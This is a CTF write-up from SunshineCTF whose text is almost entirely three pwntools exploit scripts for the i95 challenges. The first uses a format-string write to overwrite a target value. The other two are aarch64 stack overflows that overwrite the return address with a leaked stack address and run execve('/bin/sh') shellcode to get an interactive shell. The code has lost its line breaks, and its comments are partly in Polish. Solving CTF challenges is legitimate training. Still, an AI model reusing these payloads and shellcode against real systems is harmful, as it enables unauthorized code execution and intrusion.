Between September 27 and 29, SunshineCTF took place—a small but interesting US-based CTF event. Alongside standard PWN, reverse engineering, and cryptography challenges, the competition featured the i95 challenge (an approachable PWN-style task) and the Pegasus challenge set. More details about the event can be found here. We solved all i95 tasks; since they were straightforward, only the solutions are provided below.
from pwn import*context.log_level ='warning'context.update(arch='x86_64', os='linux')context.terminal =['cmd.exe','/c','start','wsl.exe']HOST="nc chal.sunshinectf.games 25607"ADDRESS,PORT=HOST.split()[1:]BINARY_NAME="./jupiter"binary = context.binary = ELF(BINARY_NAME, checksec=False)if args.REMOTE: p = remote(ADDRESS,PORT)else: p = process(binary.path)# Overwrite value at 0x00404010 with 0x1337c0d using pwntools' fmtstr_payloadtarget_addr =0x00404010target_value =0x1337c0de# Find the offset for the format string (you may need to adjust this)offset =5payload = fmtstr_payload(offset,{target_addr: target_value})p.sendlineafter(b"Enter data at your own risk:", payload)p.interactive()
#!/usr/bin/env python3from pwn import*import re
HOST, PORT ="chal.sunshinectf.games",25606context.clear(arch="aarch64", os="linux")context.log_level ="info"RET_OFF =72# LR zwykle na S+0x48; jeśli nie działa, spróbuj 56LEAK_DELTA =0x75# n + 0x75 = bufSTAGE2_OFF =0xF0# gdzie położymy shellcodeNOP =b"\x1f\x20\x03\xd5"# aarch64 NOPdefparse_leak(b:bytes)->int: m = re.search(rb'going\s+(\d+)\s+MPH', b)ifnot m:raise ValueError("Nie znalazłem liczby w bannerze")returnint(m.group(1))defbuild_shellcode()->bytes:"""
Self-check: najpierw write(1,"OK!",3), potem execve("/bin/sh",0,0).
""" sc = asm(r"""
// write(1, "OK!", 3)
adr x1, msg
mov x0, #1
mov x2, #3
mov x8, #64 // __NR_write
svc #0
// execve("/bin/sh", NULL, NULL)
adr x0, sh
eor x1, x1, x1
eor x2, x2, x2
mov x8, #221 // __NR_execve
svc #0
// fallback: exit(0)
mov x0, xzr
mov x8, #93 // __NR_exit
svc #0
msg: .ascii "OK!"
sh: .ascii "/bin/sh\0"
""")return sc
defmain(): io = remote(HOST, PORT) ban = io.recvuntil(b"What do I tell them??") leak = parse_leak(ban) buf = leak + LEAK_DELTA
stage2 = buf + STAGE2_OFF
log.info(f"leak={leak} -> buf=0x{buf:x} stage2=0x{stage2:x}") sc = build_shellcode()# 1) nadpisz LR adresem shellcode'u head =b"A"* RET_OFF + p64(stage2)# 2) dobij do STAGE2_OFF (krótki sled NOP-ów, żadnych \n na początku) padlen =max(0, STAGE2_OFF -len(head)) sled =(NOP *((padlen //len(NOP))+1))[:padlen] payload = head + sled + sc
# ważne: w pierwszych ~90 bajtach nie może być 0x0a (LF) first = payload[:90]ifb"\x0a"in first: i = first.index(b"\x0a") payload = payload[:i]+b" "+ payload[i+1:] io.send(payload +b"\n") io.interactive()if __name__ =="__main__": main()
Shorten payload
from pwn import*HOST="nc chal.sunshinectf.games 25606"ADDRESS,PORT=HOST.split()[1:]BINARY_NAME="./daytona"binary = context.binary = ELF(BINARY_NAME, checksec=False)if args.REMOTE: p = remote(ADDRESS,PORT)else: p = process(binary.path)shellcode =(b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"b"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"b"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4")line = p.recvuntil(b"over the speedlimit").decode()# Wyciągnij liczbę po "going"mph =int(line.split("going")[1].split("MPH")[0].strip())start_exploit_adress_stack=mph+0xc5warn(f"stack: {mph:#x}")payload=72*b'A'+p64(start_exploit_adress_stack)+shellcode
p.sendlineafter(b'What do I tell them??',payload)p.interactive()